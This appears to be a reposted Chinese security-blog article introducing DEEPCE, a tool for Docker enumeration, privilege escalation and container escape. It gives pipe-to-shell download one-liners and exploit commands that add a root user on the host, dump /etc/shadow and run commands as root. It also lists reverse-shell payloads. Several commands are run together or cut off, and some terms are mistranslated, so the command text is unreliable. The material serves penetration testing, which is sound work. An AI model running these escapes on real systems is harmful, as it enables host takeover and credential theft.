Docker 枚举、特权升级和容器逃逸 (DEEPCE)

渗透技巧 1年前 (2023) admin
348 0 0

Docker 枚举、特权升级和容器逃逸 (DEEPCE)

Docker 枚举、特权升级和容器逃逸 (DEEPCE)

        为了使其与最大数量的容器兼容,DEEPCE 是纯编写的sh,没有依赖性。如果可用,它将使用其他工具,例如 curl、nmap、nslookup 和 dig,但在大多数情况下不依赖于它们进行枚举。

        枚举都不应该触及磁盘,但是大多数漏洞利用会创建新的容器,这将导致磁盘写入,并且一些漏洞利用会覆盖 runC,这可能具有破坏性,所以要小心!

        可以使用以下单行之一将 DEEPCE 下载到主机或容器上。提示:下载到/dev/shm避免接触磁盘。

wget https://github.com/stealthcopter/deepce/raw/main/deepce.shcurl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh# Or using python requestspython -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content)' > deepce.sh python3 -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").c

Docker 枚举、特权升级和容器逃逸 (DEEPCE)

枚举

以下是 DEEPCE 执行的枚举列表。

  • 容器 ID 和名称(通过反向 DNS)

  • 容器 IP / DNS 服务器

  • 码头工人版本

  • 有趣的坐骑

  • 普通文件中的密码

  • 环境变量

  • 密码哈希

  • 容器中存储的常见敏感文件

  • 同一网络上的其他容器

  • 端口扫描其他容器,以及宿主机本身

漏洞利用

  • Docker 组提权

  • 特权模式主机命令执行

  • 裸露的 Docker 

有效载荷

对于上述每个漏洞利用,都可以定义有效负载以利用主机系统。这些包括:

  • 反向 TCP 外壳

  • 打印 /etc/shadow

  • 添加新的根用户

  • 运行自定义命令

  • 运行自定义负载二进制文件


# Make the script executable and then run itchmod +x ./deepce.sh./deepce.sh

漏洞利用

以下示例显示了可以执行的不同类型的漏洞利用和可用的有效负载。

  • 利用特权容器在主机操作系统上创建新的 root 用户:

./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
  • 利用可写的 docker sock 文件打印内容/etc/shadow

./deepce.sh --no-enumeration --exploit SOCK --shadow
  • 通过主机上 docker 组的成员身份升级到 root 并运行自定义负载

./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"

高级用法

        可以在不接触磁盘的情况下下载和运行 deepce,但是您将无法轻松设置参数(可以使用导出直接操作变量)。

wget -O - https://github.com/stealthcopter/deepce/raw/main/deepce.sh | shcurl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh


https://github.com/stealthcopter/deepce

原文始发于微信公众号(Khan安全攻防实验室):Docker 枚举、特权升级和容器逃逸 (DEEPCE)

版权声明:admin 发表于 2023年1月19日 下午11:03。
转载请注明:Docker 枚举、特权升级和容器逃逸 (DEEPCE) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...